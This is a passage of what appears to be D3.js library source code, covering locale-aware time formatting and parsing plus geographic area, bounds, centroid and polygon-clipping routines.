return Math.floor((d3_time.dayOfYear(date) + (day + i) % 7) / 7);
};
});
d3_time.week = d3_time.sunday;
d3_time.weeks = d3_time.sunday.range;
d3_time.weeks.utc = d3_time.sunday.utc.range;
d3_time.weekOfYear = d3_time.sundayOfYear;
function d3_locale_timeFormat(locale) {
var locale_dateTime = locale.dateTime, locale_date = locale.date, locale_time = locale.time, locale_periods = locale.periods, locale_days = locale.days, locale_shortDays = locale.shortDays, locale_months = locale.months, locale_shortMonths = locale.shortMonths;
function d3_time_format(template) {
var n = template.length;
function format(date) {
var string = [], i = -1, j = 0, c, p, f;
while (++i < n) {
if (template.charCodeAt(i) === 37) {
string.push(template.slice(j, i));
if ((p = d3_time_formatPads[c = template.charAt(++i)]) != null) c = template.charAt(++i);
if (f = d3_time_formats[c]) c = f(date, p == null ? c === "e" ? " " : "0" : p);
string.push(c);
j = i + 1;
}
}
string.push(template.slice(j, i));
return string.join("");
}
format.parse = function(string) {
var d = {
y: 1900,
m: 0,
d: 1,
H: 0,
M: 0,
S: 0,
L: 0,
Z: null
}, i = d3_time_parse(d, template, string, 0);
if (i != string.length) return null;
if ("p" in d) d.H = d.H % 12 + d.p * 12;
var localZ = d.Z != null && d3_date !== d3_date_utc, date = new (localZ ? d3_date_utc : d3_date)();
if ("j" in d) date.setFullYear(d.y, 0, d.j); else if ("W" in d || "U" in d) {
if (!("w" in d)) d.w = "W" in d ? 1 : 0;
date.setFullYear(d.y, 0, 1);
date.setFullYear(d.y, 0, "W" in d ? (d.w + 6) % 7 + d.W * 7 - (date.getDay() + 5) % 7 : d.w + d.U * 7 - (date.getDay() + 6) % 7);
} else date.setFullYear(d.y, d.m, d.d);
date.setHours(d.H + (d.Z / 100 | 0), d.M + d.Z % 100, d.S, d.L);
return localZ ? date._ : date;
};
format.toString = function() {
return template;
};
return format;
}
function d3_time_parse(date, template, string, j) {
var c, p, t, i = 0, n = template.length, m = string.length;
while (i < n) {
if (j >= m) return -1;
c = template.charCodeAt(i++);
if (c === 37) {
t = template.charAt(i++);
p = d3_time_parsers[t in d3_time_formatPads ? template.charAt(i++) : t];
if (!p || (j = p(date, string, j)) < 0) return -1;
} else if (c != string.charCodeAt(j++)) {
return -1;
}
}
return j;
}
d3_time_format.utc = function(template) {
var local = d3_time_format(template);
function format(date) {
try {
d3_date = d3_date_utc;
var utc = new d3_date();
utc._ = date;
return local(utc);
} finally {
d3_date = Date;
}
}
format.parse = function(string) {
try {
d3_date = d3_date_utc;
var date = local.parse(string);
return date && date._;
} finally {
d3_date = Date;
}
};
format.toString = local.toString;
return format;
};
d3_time_format.multi = d3_time_format.utc.multi = d3_time_formatMulti;
var d3_time_periodLookup = d3.map(), d3_time_dayRe = d3_time_formatRe(locale_days), d3_time_dayLookup = d3_time_formatLookup(locale_days), d3_time_dayAbbrevRe = d3_time_formatRe(locale_shortDays), d3_time_dayAbbrevLookup = d3_time_formatLookup(locale_shortDays), d3_time_monthRe = d3_time_formatRe(locale_months), d3_time_monthLookup = d3_time_formatLookup(locale_months), d3_time_monthAbbrevRe = d3_time_formatRe(locale_shortMonths), d3_time_monthAbbrevLookup = d3_time_formatLookup(locale_shortMonths);
locale_periods.forEach(function(p, i) {
d3_time_periodLookup.set(p.toLowerCase(), i);
});
var d3_time_formats = {
a: function(d) {
return locale_shortDays[d.getDay()];
},
A: function(d) {
return locale_days[d.getDay()];
},
b: function(d) {
return locale_shortMonths[d.getMonth()];
},
B: function(d) {
return locale_months[d.getMonth()];
},
c: d3_time_format(locale_dateTime),
d: function(d, p) {
return d3_time_formatPad(d.getDate(), p, 2);
},
e: function(d, p) {
return d3_time_formatPad(d.getDate(), p, 2);
},
H: function(d, p) {
return d3_time_formatPad(d.getHours(), p, 2);
},
I: function(d, p) {
return d3_time_formatPad(d.getHours() % 12 || 12, p, 2);
},
j: function(d, p) {
return d3_time_formatPad(1 + d3_time.dayOfYear(d), p, 3);
},
L: function(d, p) {
return d3_time_formatPad(d.getMilliseconds(), p, 3);
},
m: function(d, p) {
return d3_time_formatPad(d.getMonth() + 1, p, 2);
},
M: function(d, p) {
return d3_time_formatPad(d.getMinutes(), p, 2);
},
p: function(d) {
return locale_periods[+(d.getHours() >= 12)];
},
S: function(d, p) {
return d3_time_formatPad(d.getSeconds(), p, 2);
},
U: function(d, p) {
return d3_time_formatPad(d3_time.sundayOfYear(d), p, 2);
},
w: function(d) {
return d.getDay();
},
W: function(d, p) {
return d3_time_formatPad(d3_time.mondayOfYear(d), p, 2);
},
x: d3_time_format(locale_date),
X: d3_time_format(locale_time),
y: function(d, p) {
return d3_time_formatPad(d.getFullYear() % 100, p, 2);
},
Y: function(d, p) {
return d3_time_formatPad(d.getFullYear() % 1e4, p, 4);
},
Z: d3_time_zone,
"%": function() {
return "%";
}
};
var d3_time_parsers = {
a: d3_time_parseWeekdayAbbrev,
A: d3_time_parseWeekday,
b: d3_time_parseMonthAbbrev,
B: d3_time_parseMonth,
c: d3_time_parseLocaleFull,
d: d3_time_parseDay,
e: d3_time_parseDay,
H: d3_time_parseHour24,
I: d3_time_parseHour24,
j: d3_time_parseDayOfYear,
L: d3_time_parseMilliseconds,
m: d3_time_parseMonthNumber,
M: d3_time_parseMinutes,
p: d3_time_parseAmPm,
S: d3_time_parseSeconds,
U: d3_time_parseWeekNumberSunday,
w: d3_time_parseWeekdayNumber,
W: d3_time_parseWeekNumberMonday,
x: d3_time_parseLocaleDate,
X: d3_time_parseLocaleTime,
y: d3_time_parseYear,
Y: d3_time_parseFullYear,
Z: d3_time_parseZone,
"%": d3_time_parseLiteralPercent
};
function d3_time_parseWeekdayAbbrev(date, string, i) {
d3_time_dayAbbrevRe.lastIndex = 0;
var n = d3_time_dayAbbrevRe.exec(string.slice(i));
return n ? (date.w = d3_time_dayAbbrevLookup.get(n[0].toLowerCase()), i + n[0].length) : -1;
}
function d3_time_parseWeekday(date, string, i) {
d3_time_dayRe.lastIndex = 0;
var n = d3_time_dayRe.exec(string.slice(i));
return n ? (date.w = d3_time_dayLookup.get(n[0].toLowerCase()), i + n[0].length) : -1;
}
function d3_time_parseMonthAbbrev(date, string, i) {
d3_time_monthAbbrevRe.lastIndex = 0;
var n = d3_time_monthAbbrevRe.exec(string.slice(i));
return n ? (date.m = d3_time_monthAbbrevLookup.get(n[0].toLowerCase()), i + n[0].length) : -1;
}
function d3_time_parseMonth(date, string, i) {
d3_time_monthRe.lastIndex = 0;
var n = d3_time_monthRe.exec(string.slice(i));
return n ? (date.m = d3_time_monthLookup.get(n[0].toLowerCase()), i + n[0].length) : -1;
}
function d3_time_parseLocaleFull(date, string, i) {
return d3_time_parse(date, d3_time_formats.c.toString(), string, i);
}
function d3_time_parseLocaleDate(date, string, i) {
return d3_time_parse(date, d3_time_formats.x.toString(), string, i);
}
function d3_time_parseLocaleTime(date, string, i) {
return d3_time_parse(date, d3_time_formats.X.toString(), string, i);
}
function d3_time_parseAmPm(date, string, i) {
var n = d3_time_periodLookup.get(string.slice(i, i += 2).toLowerCase());
return n == null ? -1 : (date.p = n, i);
}
return d3_time_format;
}
var d3_time_formatPads = {
"-": "",
_: " ",
"0": "0"
}, d3_time_numberRe = /^\s*\d+/, d3_time_percentRe = /^%/;
function d3_time_formatPad(value, fill, width) {
var sign = value < 0 ? "-" : "", string = (sign ? -value : value) + "", length = string.length;
return sign + (length < width ? new Array(width - length + 1).join(fill) + string : string);
}
function d3_time_formatRe(names) {
return new RegExp("^(?:" + names.map(d3.requote).join("|") + ")", "i");
}
function d3_time_formatLookup(names) {
var map = new d3_Map(), i = -1, n = names.length;
while (++i < n) map.set(names[i].toLowerCase(), i);
return map;
}
function d3_time_parseWeekdayNumber(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 1));
return n ? (date.w = +n[0], i + n[0].length) : -1;
}
function d3_time_parseWeekNumberSunday(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i));
return n ? (date.U = +n[0], i + n[0].length) : -1;
}
function d3_time_parseWeekNumberMonday(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i));
return n ? (date.W = +n[0], i + n[0].length) : -1;
}
function d3_time_parseFullYear(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 4));
return n ? (date.y = +n[0], i + n[0].length) : -1;
}
function d3_time_parseYear(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.y = d3_time_expandYear(+n[0]), i + n[0].length) : -1;
}
function d3_time_parseZone(date, string, i) {
return /^[+-]\d{4}$/.test(string = string.slice(i, i + 5)) ? (date.Z = -string,
i + 5) : -1;
}
function d3_time_expandYear(d) {
return d + (d > 68 ? 1900 : 2e3);
}
function d3_time_parseMonthNumber(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.m = n[0] - 1, i + n[0].length) : -1;
}
function d3_time_parseDay(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.d = +n[0], i + n[0].length) : -1;
}
function d3_time_parseDayOfYear(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 3));
return n ? (date.j = +n[0], i + n[0].length) : -1;
}
function d3_time_parseHour24(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.H = +n[0], i + n[0].length) : -1;
}
function d3_time_parseMinutes(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.M = +n[0], i + n[0].length) : -1;
}
function d3_time_parseSeconds(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 2));
return n ? (date.S = +n[0], i + n[0].length) : -1;
}
function d3_time_parseMilliseconds(date, string, i) {
d3_time_numberRe.lastIndex = 0;
var n = d3_time_numberRe.exec(string.slice(i, i + 3));
return n ? (date.L = +n[0], i + n[0].length) : -1;
}
function d3_time_zone(d) {
var z = d.getTimezoneOffset(), zs = z > 0 ? "-" : "+", zh = abs(z) / 60 | 0, zm = abs(z) % 60;
return zs + d3_time_formatPad(zh, "0", 2) + d3_time_formatPad(zm, "0", 2);
}
function d3_time_parseLiteralPercent(date, string, i) {
d3_time_percentRe.lastIndex = 0;
var n = d3_time_percentRe.exec(string.slice(i, i + 1));
return n ? i + n[0].length : -1;
}
function d3_time_formatMulti(formats) {
var n = formats.length, i = -1;
while (++i < n) formats[i][0] = this(formats[i][0]);
return function(date) {
var i = 0, f = formats[i];
while (!f[1](date)) f = formats[++i];
return f[0](date);
};
}
d3.locale = function(locale) {
return {
numberFormat: d3_locale_numberFormat(locale),
timeFormat: d3_locale_timeFormat(locale)
};
};
var d3_locale_enUS = d3.locale({
decimal: ".",
thousands: ",",
grouping: [ 3 ],
currency: [ "$", "" ],
dateTime: "%a %b %e %X %Y",
date: "%m/%d/%Y",
time: "%H:%M:%S",
periods: [ "AM", "PM" ],
days: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ],
shortDays: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ],
months: [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ],
shortMonths: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ]
});
d3.format = d3_locale_enUS.numberFormat;
d3.geo = {};
function d3_adder() {}
d3_adder.prototype = {
s: 0,
t: 0,
add: function(y) {
d3_adderSum(y, this.t, d3_adderTemp);
d3_adderSum(d3_adderTemp.s, this.s, this);
if (this.s) this.t += d3_adderTemp.t; else this.s = d3_adderTemp.t;
},
reset: function() {
this.s = this.t = 0;
},
valueOf: function() {
return this.s;
}
};
var d3_adderTemp = new d3_adder();
function d3_adderSum(a, b, o) {
var x = o.s = a + b, bv = x - a, av = x - bv;
o.t = a - av + (b - bv);
}
d3.geo.stream = function(object, listener) {
if (object && d3_geo_streamObjectType.hasOwnProperty(object.type)) {
d3_geo_streamObjectType[object.type](object, listener);
} else {
d3_geo_streamGeometry(object, listener);
}
};
function d3_geo_streamGeometry(geometry, listener) {
if (geometry && d3_geo_streamGeometryType.hasOwnProperty(geometry.type)) {
d3_geo_streamGeometryType[geometry.type](geometry, listener);
}
}
var d3_geo_streamObjectType = {
Feature: function(feature, listener) {
d3_geo_streamGeometry(feature.geometry, listener);
},
FeatureCollection: function(object, listener) {
var features = object.features, i = -1, n = features.length;
while (++i < n) d3_geo_streamGeometry(features[i].geometry, listener);
}
};
var d3_geo_streamGeometryType = {
Sphere: function(object, listener) {
listener.sphere();
},
Point: function(object, listener) {
object = object.coordinates;
listener.point(object[0], object[1], object[2]);
},
MultiPoint: function(object, listener) {
var coordinates = object.coordinates, i = -1, n = coordinates.length;
while (++i < n) object = coordinates[i], listener.point(object[0], object[1], object[2]);
},
LineString: function(object, listener) {
d3_geo_streamLine(object.coordinates, listener, 0);
},
MultiLineString: function(object, listener) {
var coordinates = object.coordinates, i = -1, n = coordinates.length;
while (++i < n) d3_geo_streamLine(coordinates[i], listener, 0);
},
Polygon: function(object, listener) {
d3_geo_streamPolygon(object.coordinates, listener);
},
MultiPolygon: function(object, listener) {
var coordinates = object.coordinates, i = -1, n = coordinates.length;
while (++i < n) d3_geo_streamPolygon(coordinates[i], listener);
},
GeometryCollection: function(object, listener) {
var geometries = object.geometries, i = -1, n = geometries.length;
while (++i < n) d3_geo_streamGeometry(geometries[i], listener);
}
};
function d3_geo_streamLine(coordinates, listener, closed) {
var i = -1, n = coordinates.length - closed, coordinate;
listener.lineStart();
while (++i < n) coordinate = coordinates[i], listener.point(coordinate[0], coordinate[1], coordinate[2]);
listener.lineEnd();
}
function d3_geo_streamPolygon(coordinates, listener) {
var i = -1, n = coordinates.length;
listener.polygonStart();
while (++i < n) d3_geo_streamLine(coordinates[i], listener, 1);
listener.polygonEnd();
}
d3.geo.area = function(object) {
d3_geo_areaSum = 0;
d3.geo.stream(object, d3_geo_area);
return d3_geo_areaSum;
};
var d3_geo_areaSum, d3_geo_areaRingSum = new d3_adder();
var d3_geo_area = {
sphere: function() {
d3_geo_areaSum += 4 * π;
},
point: d3_noop,
lineStart: d3_noop,
lineEnd: d3_noop,
polygonStart: function() {
d3_geo_areaRingSum.reset();
d3_geo_area.lineStart = d3_geo_areaRingStart;
},
polygonEnd: function() {
var area = 2 * d3_geo_areaRingSum;
d3_geo_areaSum += area < 0 ? 4 * π + area : area;
d3_geo_area.lineStart = d3_geo_area.lineEnd = d3_geo_area.point = d3_noop;
}
};
function d3_geo_areaRingStart() {
var λ00, φ00, λ0, cosφ0, sinφ0;
d3_geo_area.point = function(λ, φ) {
d3_geo_area.point = nextPoint;
λ0 = (λ00 = λ) * d3_radians, cosφ0 = Math.cos(φ = (φ00 = φ) * d3_radians / 2 + π / 4),
sinφ0 = Math.sin(φ);
};
function nextPoint(λ, φ) {
λ *= d3_radians;
φ = φ * d3_radians / 2 + π / 4;
var dλ = λ - λ0, sdλ = dλ >= 0 ? 1 : -1, adλ = sdλ * dλ, cosφ = Math.cos(φ), sinφ = Math.sin(φ), k = sinφ0 * sinφ, u = cosφ0 * cosφ + k * Math.cos(adλ), v = k * sdλ * Math.sin(adλ);
d3_geo_areaRingSum.add(Math.atan2(v, u));
λ0 = λ, cosφ0 = cosφ, sinφ0 = sinφ;
}
d3_geo_area.lineEnd = function() {
nextPoint(λ00, φ00);
};
}
function d3_geo_cartesian(spherical) {
var λ = spherical[0], φ = spherical[1], cosφ = Math.cos(φ);
return [ cosφ * Math.cos(λ), cosφ * Math.sin(λ), Math.sin(φ) ];
}
function d3_geo_cartesianDot(a, b) {
return a[0] * b[0] + a[1] * b[1] + a[2] * b[2];
}
function d3_geo_cartesianCross(a, b) {
return [ a[1] * b[2] - a[2] * b[1], a[2] * b[0] - a[0] * b[2], a[0] * b[1] - a[1] * b[0] ];
}
function d3_geo_cartesianAdd(a, b) {
a[0] += b[0];
a[1] += b[1];
a[2] += b[2];
}
function d3_geo_cartesianScale(vector, k) {
return [ vector[0] * k, vector[1] * k, vector[2] * k ];
}
function d3_geo_cartesianNormalize(d) {
var l = Math.sqrt(d[0] * d[0] + d[1] * d[1] + d[2] * d[2]);
d[0] /= l;
d[1] /= l;
d[2] /= l;
}
function d3_geo_spherical(cartesian) {
return [ Math.atan2(cartesian[1], cartesian[0]), d3_asin(cartesian[2]) ];
}
function d3_geo_sphericalEqual(a, b) {
return abs(a[0] - b[0]) < ε && abs(a[1] - b[1]) < ε;
}
d3.geo.bounds = function() {
var λ0, φ0, λ1, φ1, λ_, λ__, φ__, p0, dλSum, ranges, range;
var bound = {
point: point,
lineStart: lineStart,
lineEnd: lineEnd,
polygonStart: function() {
bound.point = ringPoint;
bound.lineStart = ringStart;
bound.lineEnd = ringEnd;
dλSum = 0;
d3_geo_area.polygonStart();
},
polygonEnd: function() {
d3_geo_area.polygonEnd();
bound.point = point;
bound.lineStart = lineStart;
bound.lineEnd = lineEnd;
if (d3_geo_areaRingSum < 0) λ0 = -(λ1 = 180), φ0 = -(φ1 = 90); else if (dλSum > ε) φ1 = 90; else if (dλSum < -ε) φ0 = -90;
range[0] = λ0, range[1] = λ1;
}
};
function point(λ, φ) {
ranges.push(range = [ λ0 = λ, λ1 = λ ]);
if (φ < φ0) φ0 = φ;
if (φ > φ1) φ1 = φ;
}
function linePoint(λ, φ) {
var p = d3_geo_cartesian([ λ * d3_radians, φ * d3_radians ]);
if (p0) {
var normal = d3_geo_cartesianCross(p0, p), equatorial = [ normal[1], -normal[0], 0 ], inflection = d3_geo_cartesianCross(equatorial, normal);
d3_geo_cartesianNormalize(inflection);
inflection = d3_geo_spherical(inflection);
var dλ = λ - λ_, s = dλ > 0 ? 1 : -1, λi = inflection[0] * d3_degrees * s, antimeridian = abs(dλ) > 180;
if (antimeridian ^ (s * λ_ < λi && λi < s * λ)) {
var φi = inflection[1] * d3_degrees;
if (φi > φ1) φ1 = φi;
} else if (λi = (λi + 360) % 360 - 180, antimeridian ^ (s * λ_ < λi && λi < s * λ)) {
var φi = -inflection[1] * d3_degrees;
if (φi < φ0) φ0 = φi;
} else {
if (φ < φ0) φ0 = φ;
if (φ > φ1) φ1 = φ;
}
if (antimeridian) {
if (λ < λ_) {
if (angle(λ0, λ) > angle(λ0, λ1)) λ1 = λ;
} else {
if (angle(λ, λ1) > angle(λ0, λ1)) λ0 = λ;
}
} else {
if (λ1 >= λ0) {
if (λ < λ0) λ0 = λ;
if (λ > λ1) λ1 = λ;
} else {
if (λ > λ_) {
if (angle(λ0, λ) > angle(λ0, λ1)) λ1 = λ;
} else {
if (angle(λ, λ1) > angle(λ0, λ1)) λ0 = λ;
}
}
}
} else {
point(λ, φ);
}
p0 = p, λ_ = λ;
}
function lineStart() {
bound.point = linePoint;
}
function lineEnd() {
range[0] = λ0, range[1] = λ1;
bound.point = point;
p0 = null;
}
function ringPoint(λ, φ) {
if (p0) {
var dλ = λ - λ_;
dλSum += abs(dλ) > 180 ? dλ + (dλ > 0 ? 360 : -360) : dλ;
} else λ__ = λ, φ__ = φ;
d3_geo_area.point(λ, φ);
linePoint(λ, φ);
}
function ringStart() {
d3_geo_area.lineStart();
}
function ringEnd() {
ringPoint(λ__, φ__);
d3_geo_area.lineEnd();
if (abs(dλSum) > ε) λ0 = -(λ1 = 180);
range[0] = λ0, range[1] = λ1;
p0 = null;
}
function angle(λ0, λ1) {
return (λ1 -= λ0) < 0 ? λ1 + 360 : λ1;
}
function compareRanges(a, b) {
return a[0] - b[0];
}
function withinRange(x, range) {
return range[0] <= range[1] ? range[0] <= x && x <= range[1] : x < range[0] || range[1] < x;
}
return function(feature) {
φ1 = λ1 = -(λ0 = φ0 = Infinity);
ranges = [];
d3.geo.stream(feature, bound);
var n = ranges.length;
if (n) {
ranges.sort(compareRanges);
for (var i = 1, a = ranges[0], b, merged = [ a ]; i < n; ++i) {
b = ranges[i];
if (withinRange(b[0], a) || withinRange(b[1], a)) {
if (angle(a[0], b[1]) > angle(a[0], a[1])) a[1] = b[1];
if (angle(b[0], a[1]) > angle(a[0], a[1])) a[0] = b[0];
} else {
merged.push(a = b);
}
}
var best = -Infinity, dλ;
for (var n = merged.length - 1, i = 0, a = merged[n], b; i <= n; a = b, ++i) {
b = merged[i];
if ((dλ = angle(a[1], b[0])) > best) best = dλ, λ0 = b[0], λ1 = a[1];
}
}
ranges = range = null;
return λ0 === Infinity || φ0 === Infinity ? [ [ NaN, NaN ], [ NaN, NaN ] ] : [ [ λ0, φ0 ], [ λ1, φ1 ] ];
};
}();
d3.geo.centroid = function(object) {
d3_geo_centroidW0 = d3_geo_centroidW1 = d3_geo_centroidX0 = d3_geo_centroidY0 = d3_geo_centroidZ0 = d3_geo_centroidX1 = d3_geo_centroidY1 = d3_geo_centroidZ1 = d3_geo_centroidX2 = d3_geo_centroidY2 = d3_geo_centroidZ2 = 0;
d3.geo.stream(object, d3_geo_centroid);
var x = d3_geo_centroidX2, y = d3_geo_centroidY2, z = d3_geo_centroidZ2, m = x * x + y * y + z * z;
if (m < ε2) {
x = d3_geo_centroidX1, y = d3_geo_centroidY1, z = d3_geo_centroidZ1;
if (d3_geo_centroidW1 < ε) x = d3_geo_centroidX0, y = d3_geo_centroidY0, z = d3_geo_centroidZ0;
m = x * x + y * y + z * z;
if (m < ε2) return [ NaN, NaN ];
}
return [ Math.atan2(y, x) * d3_degrees, d3_asin(z / Math.sqrt(m)) * d3_degrees ];
};
var d3_geo_centroidW0, d3_geo_centroidW1, d3_geo_centroidX0, d3_geo_centroidY0, d3_geo_centroidZ0, d3_geo_centroidX1, d3_geo_centroidY1, d3_geo_centroidZ1, d3_geo_centroidX2, d3_geo_centroidY2, d3_geo_centroidZ2;
var d3_geo_centroid = {
sphere: d3_noop,
point: d3_geo_centroidPoint,
lineStart: d3_geo_centroidLineStart,
lineEnd: d3_geo_centroidLineEnd,
polygonStart: function() {
d3_geo_centroid.lineStart = d3_geo_centroidRingStart;
},
polygonEnd: function() {
d3_geo_centroid.lineStart = d3_geo_centroidLineStart;
}
};
function d3_geo_centroidPoint(λ, φ) {
λ *= d3_radians;
var cosφ = Math.cos(φ *= d3_radians);
d3_geo_centroidPointXYZ(cosφ * Math.cos(λ), cosφ * Math.sin(λ), Math.sin(φ));
}
function d3_geo_centroidPointXYZ(x, y, z) {
++d3_geo_centroidW0;
d3_geo_centroidX0 += (x - d3_geo_centroidX0) / d3_geo_centroidW0;
d3_geo_centroidY0 += (y - d3_geo_centroidY0) / d3_geo_centroidW0;
d3_geo_centroidZ0 += (z - d3_geo_centroidZ0) / d3_geo_centroidW0;
}
function d3_geo_centroidLineStart() {
var x0, y0, z0;
d3_geo_centroid.point = function(λ, φ) {
λ *= d3_radians;
var cosφ = Math.cos(φ *= d3_radians);
x0 = cosφ * Math.cos(λ);
y0 = cosφ * Math.sin(λ);
z0 = Math.sin(φ);
d3_geo_centroid.point = nextPoint;
d3_geo_centroidPointXYZ(x0, y0, z0);
};
function nextPoint(λ, φ) {
λ *= d3_radians;
var cosφ = Math.cos(φ *= d3_radians), x = cosφ * Math.cos(λ), y = cosφ * Math.sin(λ), z = Math.sin(φ), w = Math.atan2(Math.sqrt((w = y0 * z - z0 * y) * w + (w = z0 * x - x0 * z) * w + (w = x0 * y - y0 * x) * w), x0 * x + y0 * y + z0 * z);
d3_geo_centroidW1 += w;
d3_geo_centroidX1 += w * (x0 + (x0 = x));
d3_geo_centroidY1 += w * (y0 + (y0 = y));
d3_geo_centroidZ1 += w * (z0 + (z0 = z));
d3_geo_centroidPointXYZ(x0, y0, z0);
}
}
function d3_geo_centroidLineEnd() {
d3_geo_centroid.point = d3_geo_centroidPoint;
}
function d3_geo_centroidRingStart() {
var λ00, φ00, x0, y0, z0;
d3_geo_centroid.point = function(λ, φ) {
λ00 = λ, φ00 = φ;
d3_geo_centroid.point = nextPoint;
λ *= d3_radians;
var cosφ = Math.cos(φ *= d3_radians);
x0 = cosφ * Math.cos(λ);
y0 = cosφ * Math.sin(λ);
z0 = Math.sin(φ);
d3_geo_centroidPointXYZ(x0, y0, z0);
};
d3_geo_centroid.lineEnd = function() {
nextPoint(λ00, φ00);
d3_geo_centroid.lineEnd = d3_geo_centroidLineEnd;
d3_geo_centroid.point = d3_geo_centroidPoint;
};
function nextPoint(λ, φ) {
λ *= d3_radians;
var cosφ = Math.cos(φ *= d3_radians), x = cosφ * Math.cos(λ), y = cosφ * Math.sin(λ), z = Math.sin(φ), cx = y0 * z - z0 * y, cy = z0 * x - x0 * z, cz = x0 * y - y0 * x, m = Math.sqrt(cx * cx + cy * cy + cz * cz), u = x0 * x + y0 * y + z0 * z, v = m && -d3_acos(u) / m, w = Math.atan2(m, u);
d3_geo_centroidX2 += v * cx;
d3_geo_centroidY2 += v * cy;
d3_geo_centroidZ2 += v * cz;
d3_geo_centroidW1 += w;
d3_geo_centroidX1 += w * (x0 + (x0 = x));
d3_geo_centroidY1 += w * (y0 + (y0 = y));
d3_geo_centroidZ1 += w * (z0 + (z0 = z));
d3_geo_centroidPointXYZ(x0, y0, z0);
}
}
function d3_geo_compose(a, b) {
function compose(x, y) {
return x = a(x, y), b(x[0], x[1]);
}
if (a.invert && b.invert) compose.invert = function(x, y) {
return x = b.invert(x, y), x && a.invert(x[0], x[1]);
};
return compose;
}
function d3_true() {
return true;
}
function d3_geo_clipPolygon(segments, compare, clipStartInside, interpolate, listener) {
var subject = [], clip = [];
segments.forEach(function(segment) {
if ((n = segment.length - 1) <= 0) return;
var n, p0 = segment[0], p1 = segment[n];
if (d3_geo_sphericalEqual(p0, p1)) {
listener.lineStart();
for (var i = 0; i < n; ++i) listener.point((p0 = segment[i])[0], p0[1]);
listener.lineEnd();
return;
}
var a = new d3_geo_clipPolygonIntersection(p0, segment, null, true), b = new d3_geo_clipPolygonIntersection(p0, null, a, false);
a.o = b;
subject.push(a);
clip.push(b);
a = new d3_geo_clipPolygonIntersection(p1, segment, null, false);
b = new d3_geo_clipPolygonIntersection(p1, null, a, true);
a.o = b;
subject.push(a);
clip.push(b);
});
clip.sort(compare);
d3_geo_clipPolygonLinkCircular(subject);
d3_geo_clipPolygonLinkCircular(clip);
if (!subject.length) return;
for (var i = 0, entry = clipStartInside, n = clip.length; i < n; ++i) {
clip[i].e = entry = !entry;
}
var start = subject[0], points, point;
while (1) {
var current = start, isSubject = true;
while (current.v) if ((current = current.n) === start) return;
points = current.z;
listener.lineStart();
do {
current.v = current.o.v = true;
if (current.e) {
if (isSubject) {
for (var i = 0, n = points.length; i < n; ++i) listener.point((point = points[i])[0], point[1]);
} else {
interpolate(current.x, current.n.x, 1, listener);
}
current = current.n;
} else {
if (isSubject) {
points = current.p.z;
for (var i = points.length - 1; i >= 0; --i) listener.point((point = points[i])[0], point[1]);
} else {
interpolate(current.x, current.p.x, -1, listener);
}
current = current.p;
}
current = current.o;
points = current.z;
isSubject = !isSubject;
} while (!current.v);
listener.lineEnd();
}
}
function d3_geo_clipPolygonLinkCircular(array) {
if (!(n = array.length)) return;
var n, i = 0, a = array[0], b;
while (++i < n) {
a.n = b = array[i];
b.p = a;
a = b;
}
a.n = b = array[0];
b.p = a;
}
function d3_geo_clipPolygonIntersection(point, points, other, entry) {
this.x = point;
this.z = points;
this.o = other;
this.e = entry;
this.v = false;
this.n = this.p = null;
}
function d3_geo_clip(pointVisible, clipLine, interpolate, clipStart) {
return function(rotate, listener) {
var line = clipLine(listener), rotatedClipStart = rotate.invert(clipStart[0], clipStart[1]);
var clip = {
point: point,
lineStart: lineStart,
lineEnd: lineEnd,
polygonStart: function() {
clip.point = pointRing;
clip.lineStart = ringStart;
clip.lineEnd = ringEnd;
segments = [];
polygon = [];
},
polygonEnd: function() {
clip.point = point;
clip.lineStart = lineStart;
clip.lineEnd = lineEnd;
segments = d3.merge(segments);
var clipStartInside = d3_geo_pointInPolygon(rotatedClipStart, polygon);
if (segments.length) {
if (!polygonStarted) listener.polygonStart(), polygonStarted = true;
d3_geo_clipPolygon(segments, d3_geo_clipSort, clipStartInside, interpolate, listener);
} else if (clipStartInside) {
if (!polygonStarted) listener.polygonStart(), polygonStarted = true;
listener.lineStart();
interpolate(null, null, 1, listener);
listener.lineEnd();
}
if (polygonStarted) listener.polygonEnd(), polygonStarted = false;
segments = polygon = null;
},
sphere: function() {
listener.polygonStart();
listener.lineStart();
interpolate(null, null, 1, listener);
listener.lineEnd();
listener.polygonEnd();
}
};
function point(λ, φ) {
var point = rotate(λ, φ);
if (pointVisible(λ = point[0], φ = point[1])) listener.point(λ, φ);
}
function pointLine(λ, φ) {
var point = rotate(λ, φ);
line.point(point[0], point[1]);
}
function lineStart() {
clip.point = pointLine;
line.lineStart();
}
function lineEnd() {
clip.point = point;
line.lineEnd();
}
var segments;
var buffer = d3_geo_clipBufferListener(), ringListener = clipLine(buffer), polygonStarted = false, polygon, ring;
function pointRing(λ, φ) {
ring.push([ λ, φ ]);
var point = rotate(λ, φ);
ringListener.point(point[0], point[1]);
}
function ringStart() {
ringListener.lineStart();
ring = [];
}
function ringEnd() {
pointRing(ring[0][0], ring[0][1]);
ringListener.lineEnd();
var clean = ringListener.clean(), ringSegments = buffer.buffer(), segment, n = ringSegments.length;
ring.pop();
polygon.push(ring);
ring = null;
if (!n) return;
if (clean & 1) {
segment = ringSegments[0];
var n = segment.length - 1, i = -1, point;
